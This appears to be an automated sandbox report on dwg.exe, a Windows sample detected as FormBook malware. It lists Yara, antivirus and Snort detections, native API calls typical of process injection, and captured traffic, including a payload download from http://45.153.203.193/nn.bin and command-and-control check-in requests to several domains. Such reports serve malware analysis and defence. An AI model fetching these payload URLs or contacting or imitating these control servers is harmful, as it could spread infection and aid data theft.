Analysis Report dwg.exe

AV Detection:

Multi AV Scanner detection for submitted file

Source: dwg.exe

ReversingLabs: Detection: 17%

Yara detected FormBook

Source: Yara match	File source: 00000004.00000002.291759356.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.296448526.000000001DEB0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.460585611.00000000001E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.461025057.0000000002360000.00000040.00000001.sdmp, type: MEMORY

Antivirus or Machine Learning detection for unpacked file

Source: 10.2.cmmon32.exe.49d7960.5.unpack	Avira: Label: TR/Dropper.Gen
Source: 10.2.cmmon32.exe.26e45d0.2.unpack	Avira: Label: TR/Dropper.Gen

Compliance:

Uses 32bit PE files

Source: dwg.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Binary contains paths to debug symbols

Source:	Binary string: cmmon32.pdb source: dwg.exe, 00000004.00000003.290766684.000000000084D000.00000004.00000001.sdmp
Source:	Binary string: cmmon32.pdbGCTL source: dwg.exe, 00000004.00000003.290766684.000000000084D000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: dwg.exe, 00000004.00000002.296549952.000000001E0E0000.00000040.00000001.sdmp, cmmon32.exe, 0000000A.00000002.463015429.00000000045BF000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: dwg.exe, cmmon32.exe

Software Vulnerabilities:

Found inlined nop instructions (likely shell or obfuscated code)

Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 4x nop then pop ebx		10_2_02366A99
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 4x nop then pop edi		10_2_023762C9

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 2018752 ET TROJAN Generic .bin download from Dotted Quad 192.168.2.3:49719 -> 45.153.203.193:80
Source: Traffic	Snort IDS: 2031453 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49726 -> 104.18.194.20:80
Source: Traffic	Snort IDS: 2031449 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49726 -> 104.18.194.20:80
Source: Traffic	Snort IDS: 2031412 ET TROJAN FormBook CnC Checkin (GET) 192.168.2.3:49726 -> 104.18.194.20:80

HTTP GET or POST without a user agent

Source: global traffic	HTTP traffic detected: GET /gzjz/?Rxo=8pyT5Z4hoPNLSb&an=g/ID2zcVRpzk9dEh2O/HeBX/PmjvP3gMDSJL8xLFEItD5siNJ7dqXm1dyHJfWJK4oFU1 HTTP/1.1Host: www.hamiltonparkpdx.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gzjz/?an=FjP/8nTVipDtB7rMeh6473uM1PeF+4kTlJ1YfKzI0TvNj01mXujzKbdkPkRKtuLnfvUf&Rxo=8pyT5Z4hoPNLSb HTTP/1.1Host: www.readingqueens.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gzjz/?an=H++1jH4LKbR0fJKel0r+X/Bgsf9YQS9YCvMETuo+3edei6txUlQLYKB4EjEP5vt6Q2ea&Rxo=8pyT5Z4hoPNLSb HTTP/1.1Host: www.winningscotland.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gzjz/?Rxo=8pyT5Z4hoPNLSb&an=LENh5Imcw7WV23PMDSK6gQgZ7usNfvsiux/HEpxATH+NcHhzFLQFIzxEn7XOqifbExQJ HTTP/1.1Host: www.kreatelymedia.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gzjz/?an=/pUzTSccEH+RkAwwv+GOC/YRN8fCteWKlCqISlYUoueysdRKiHy5pXXTDI02yup/WIos&Rxo=8pyT5Z4hoPNLSb HTTP/1.1Host: www.neuroacademyok.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gzjz/?Rxo=8pyT5Z4hoPNLSb&an=jd3N18O1dmETY8AwSK2SCf/DBHf2WfDwkoednOutgI3n+6kC8/qkQJNPdpn7LPtDVMxb HTTP/1.1Host: www.india-vspakistanlive.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gzjz/?Rxo=8pyT5Z4hoPNLSb&an=8yKicZTiYwz0hefatpOkgI7InzeyxHrMIp7ZjAxRWYlijCvBEtCIbqNPIKBmez+UsXeV HTTP/1.1Host: www.bloomingintoyou.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

IP address seen in connection with other malware

Source: Joe Sandbox View	IP Address: 192.0.78.25 192.0.78.25
Source: Joe Sandbox View	IP Address: 34.102.136.180 34.102.136.180

Internet Provider seen in connection with other malware

Source: Joe Sandbox View	ASN Name: AUTOMATTICUS AUTOMATTICUS
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: NETLABFR NETLABFR

Uses a known web browser user agent for HTTP communication

Source: global traffic

HTTP traffic detected: GET /nn.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: 45.153.203.193Cache-Control: no-cache

Connects to IPs without corresponding DNS lookups

Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193
Source: unknown	TCP traffic detected without corresponding DNS query: 45.153.203.193

Downloads files from webservers via HTTP

Source: global traffic	HTTP traffic detected: GET /nn.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoHost: 45.153.203.193Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /gzjz/?Rxo=8pyT5Z4hoPNLSb&an=g/ID2zcVRpzk9dEh2O/HeBX/PmjvP3gMDSJL8xLFEItD5siNJ7dqXm1dyHJfWJK4oFU1 HTTP/1.1Host: www.hamiltonparkpdx.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gzjz/?an=FjP/8nTVipDtB7rMeh6473uM1PeF+4kTlJ1YfKzI0TvNj01mXujzKbdkPkRKtuLnfvUf&Rxo=8pyT5Z4hoPNLSb HTTP/1.1Host: www.readingqueens.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gzjz/?an=H++1jH4LKbR0fJKel0r+X/Bgsf9YQS9YCvMETuo+3edei6txUlQLYKB4EjEP5vt6Q2ea&Rxo=8pyT5Z4hoPNLSb HTTP/1.1Host: www.winningscotland.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gzjz/?Rxo=8pyT5Z4hoPNLSb&an=LENh5Imcw7WV23PMDSK6gQgZ7usNfvsiux/HEpxATH+NcHhzFLQFIzxEn7XOqifbExQJ HTTP/1.1Host: www.kreatelymedia.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gzjz/?an=/pUzTSccEH+RkAwwv+GOC/YRN8fCteWKlCqISlYUoueysdRKiHy5pXXTDI02yup/WIos&Rxo=8pyT5Z4hoPNLSb HTTP/1.1Host: www.neuroacademyok.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gzjz/?Rxo=8pyT5Z4hoPNLSb&an=jd3N18O1dmETY8AwSK2SCf/DBHf2WfDwkoednOutgI3n+6kC8/qkQJNPdpn7LPtDVMxb HTTP/1.1Host: www.india-vspakistanlive.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic	HTTP traffic detected: GET /gzjz/?Rxo=8pyT5Z4hoPNLSb&an=8yKicZTiYwz0hefatpOkgI7InzeyxHrMIp7ZjAxRWYlijCvBEtCIbqNPIKBmez+UsXeV HTTP/1.1Host: www.bloomingintoyou.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:

Performs DNS lookups

Source: unknown

DNS traffic detected: queries for: www.hamiltonparkpdx.com

Urls found in memory or binary data

Source: dwg.exe	String found in binary or memory: http://45.153.203.193/nn.bin
Source: explorer.exe, 00000005.00000000.277791370.000000000F540000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://fontfabrik.com
Source: cmmon32.exe, 0000000A.00000002.463980109.0000000004B52000.00000004.00000001.sdmp	String found in binary or memory: http://hhspapp8.com/dh5/index.html
Source: cmmon32.exe, 0000000A.00000002.463980109.0000000004B52000.00000004.00000001.sdmp	String found in binary or memory: http://push.zhanzhang.baidu.com/push.js
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.carterandcone.coml
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/?
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/cabarga.htmlN
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers/frere-jones.html
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers8
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designers?
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fontbureau.com/designersG
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.fonts.com
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: cmmon32.exe, 0000000A.00000002.463980109.0000000004B52000.00000004.00000001.sdmp	String found in binary or memory: http://www.hhappxz.com/
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.sajatypeworks.com
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.sakkal.com
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.sandoll.co.kr
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.tiro.com
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.typography.netD
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.urwpp.deDPlease
Source: explorer.exe, 00000005.00000000.275736987.0000000008B46000.00000002.00000001.sdmp	String found in binary or memory: http://www.zhongyicts.com.cn
Source: cmmon32.exe, 0000000A.00000002.463980109.0000000004B52000.00000004.00000001.sdmp	String found in binary or memory: https://www.bloomingintoyou.com/gzjz/?Rxo=8pyT5Z4hoPNLSb&an=8yKicZTiYwz0hefatpOkgI7InzeyxHrMIp7ZjAxR
Source: cmmon32.exe, 0000000A.00000002.463980109.0000000004B52000.00000004.00000001.sdmp	String found in binary or memory: https://zz.bdstatic.com/linksubmit/push.js

E-Banking Fraud:

Yara detected FormBook

Source: Yara match	File source: 00000004.00000002.291759356.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.296448526.000000001DEB0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.460585611.00000000001E0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.461025057.0000000002360000.00000040.00000001.sdmp, type: MEMORY

System Summary:

Malicious sample detected (through community Yara rule)

Source: 0000000A.00000002.461717156.00000000026E4000.00000004.00000020.sdmp, type: MEMORY	Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth
Source: 00000004.00000002.291759356.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.291759356.0000000000080000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 00000004.00000002.296448526.000000001DEB0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 00000004.00000002.296448526.000000001DEB0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.460585611.00000000001E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.460585611.00000000001E0000.00000004.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.461025057.0000000002360000.00000040.00000001.sdmp, type: MEMORY	Matched rule: autogenerated rule brought to you by yara-signator Author: Felix Bilstein - yara-signator at cocacoding dot com
Source: 0000000A.00000002.461025057.0000000002360000.00000040.00000001.sdmp, type: MEMORY	Matched rule: detect Formbook in memory Author: JPCERT/CC Incident Response Group
Source: 0000000A.00000002.463830371.00000000049D7000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Auto-generated rule - file scan copy.pdf.r11 Author: Florian Roth

Contains functionality to call native functions

Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E6233 NtSetInformationThread,LoadLibraryA,NtResumeThread,		0_2_021E6233
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E5C93 NtWriteVirtualMemory,NtProtectVirtualMemory,		0_2_021E5C93
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E1084 NtWriteVirtualMemory,		0_2_021E1084
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E0511 EnumWindows,NtSetInformationThread,		0_2_021E0511
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E2618 NtWriteVirtualMemory,		0_2_021E2618
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E2813 NtWriteVirtualMemory,		0_2_021E2813
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E060A NtSetInformationThread,		0_2_021E060A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E623A NtResumeThread,		0_2_021E623A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E6448 NtResumeThread,		0_2_021E6448
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E2844 NtWriteVirtualMemory,		0_2_021E2844
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E267E NtWriteVirtualMemory,		0_2_021E267E
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E1870 NtSetInformationThread,		0_2_021E1870
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E646C NtResumeThread,		0_2_021E646C
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E246A NtWriteVirtualMemory,		0_2_021E246A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E2E68 NtWriteVirtualMemory,		0_2_021E2E68
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E628E NtResumeThread,		0_2_021E628E
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E62B4 NtResumeThread,		0_2_021E62B4
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E62DC NtResumeThread,		0_2_021E62DC
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E24D4 NtWriteVirtualMemory,		0_2_021E24D4
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E64C8 NtResumeThread,		0_2_021E64C8
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E26C1 NtWriteVirtualMemory,		0_2_021E26C1
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E6304 NtResumeThread,		0_2_021E6304
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E052E NtSetInformationThread,		0_2_021E052E
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E655C NtResumeThread,		0_2_021E655C
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E635A NtResumeThread,		0_2_021E635A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E2546 NtWriteVirtualMemory,		0_2_021E2546
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E0573 NtSetInformationThread,		0_2_021E0573
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E6380 NtResumeThread,		0_2_021E6380
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E25AE NtWriteVirtualMemory,		0_2_021E25AE
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E05A6 NtSetInformationThread,		0_2_021E05A6
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E21D6 NtSetInformationThread,		0_2_021E21D6
Source: C:\Users\user\Desktop\dwg.exe	Code function: 0_2_021E63FD NtResumeThread,		0_2_021E63FD
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149660 NtAllocateVirtualMemory,LdrInitializeThunk,		4_2_1E149660
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1496E0 NtFreeVirtualMemory,LdrInitializeThunk,		4_2_1E1496E0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149710 NtQueryInformationToken,LdrInitializeThunk,		4_2_1E149710
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149780 NtMapViewOfSection,LdrInitializeThunk,		4_2_1E149780
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1497A0 NtUnmapViewOfSection,LdrInitializeThunk,		4_2_1E1497A0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149FE0 NtCreateMutant,LdrInitializeThunk,		4_2_1E149FE0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149540 NtReadFile,LdrInitializeThunk,		4_2_1E149540
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1495D0 NtClose,LdrInitializeThunk,		4_2_1E1495D0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149A00 NtProtectVirtualMemory,LdrInitializeThunk,		4_2_1E149A00
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149A20 NtResumeThread,LdrInitializeThunk,		4_2_1E149A20
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149A50 NtCreateFile,LdrInitializeThunk,		4_2_1E149A50
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149840 NtDelayExecution,LdrInitializeThunk,		4_2_1E149840
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149860 NtQuerySystemInformation,LdrInitializeThunk,		4_2_1E149860
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1498F0 NtReadVirtualMemory,LdrInitializeThunk,		4_2_1E1498F0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149910 NtAdjustPrivilegesToken,LdrInitializeThunk,		4_2_1E149910
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1499A0 NtCreateSection,LdrInitializeThunk,		4_2_1E1499A0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149610 NtEnumerateValueKey,		4_2_1E149610
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149650 NtQueryValueKey,		4_2_1E149650
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149670 NtQueryInformationProcess,		4_2_1E149670
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1496D0 NtCreateKey,		4_2_1E1496D0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E14A710 NtOpenProcessToken,		4_2_1E14A710
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149730 NtQueryVirtualMemory,		4_2_1E149730
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E14A770 NtOpenThread,		4_2_1E14A770
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149770 NtSetInformationFile,		4_2_1E149770
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149760 NtOpenProcess,		4_2_1E149760
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E14AD30 NtSetContextThread,		4_2_1E14AD30
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149520 NtWaitForSingleObject,		4_2_1E149520
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149560 NtWriteFile,		4_2_1E149560
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1495F0 NtQueryInformationFile,		4_2_1E1495F0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149A10 NtQuerySection,		4_2_1E149A10
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149A80 NtOpenDirectoryObject,		4_2_1E149A80
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149B00 NtSetValueKey,		4_2_1E149B00
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E14A3B0 NtGetContextThread,		4_2_1E14A3B0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149820 NtEnumerateKey,		4_2_1E149820
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E14B040 NtSuspendThread,		4_2_1E14B040
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1498A0 NtWriteVirtualMemory,		4_2_1E1498A0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E149950 NtQueueApcThread,		4_2_1E149950
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_1E1499D0 NtCreateProcessEx,		4_2_1E1499D0
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_00565C93 NtProtectVirtualMemory,		4_2_00565C93
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_00566233 LoadLibraryA,NtSetInformationThread,		4_2_00566233
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_00566448 NtSetInformationThread,		4_2_00566448
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_0056646C NtSetInformationThread,		4_2_0056646C
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_005664C8 NtSetInformationThread,		4_2_005664C8
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_0056655C NtSetInformationThread,		4_2_0056655C
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_0056623A NtSetInformationThread,		4_2_0056623A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_005662DC NtSetInformationThread,		4_2_005662DC
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_0056628E NtSetInformationThread,		4_2_0056628E
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_005662B4 NtSetInformationThread,		4_2_005662B4
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_0056635A NtSetInformationThread,		4_2_0056635A
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_00566304 NtSetInformationThread,		4_2_00566304
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_005663FD NtSetInformationThread,		4_2_005663FD
Source: C:\Users\user\Desktop\dwg.exe	Code function: 4_2_00566380 NtSetInformationThread,		4_2_00566380
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509540 NtReadFile,LdrInitializeThunk,		10_2_04509540
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045095D0 NtClose,LdrInitializeThunk,		10_2_045095D0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509650 NtQueryValueKey,LdrInitializeThunk,		10_2_04509650
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509660 NtAllocateVirtualMemory,LdrInitializeThunk,		10_2_04509660
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045096D0 NtCreateKey,LdrInitializeThunk,		10_2_045096D0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_045096E0 NtFreeVirtualMemory,LdrInitializeThunk,		10_2_045096E0
Source: C:\Windows\SysWOW64\cmmon32.exe	Code function: 10_2_04509710 NtQueryInformationToken,LdrInitializeThunk,		10_2_04509710
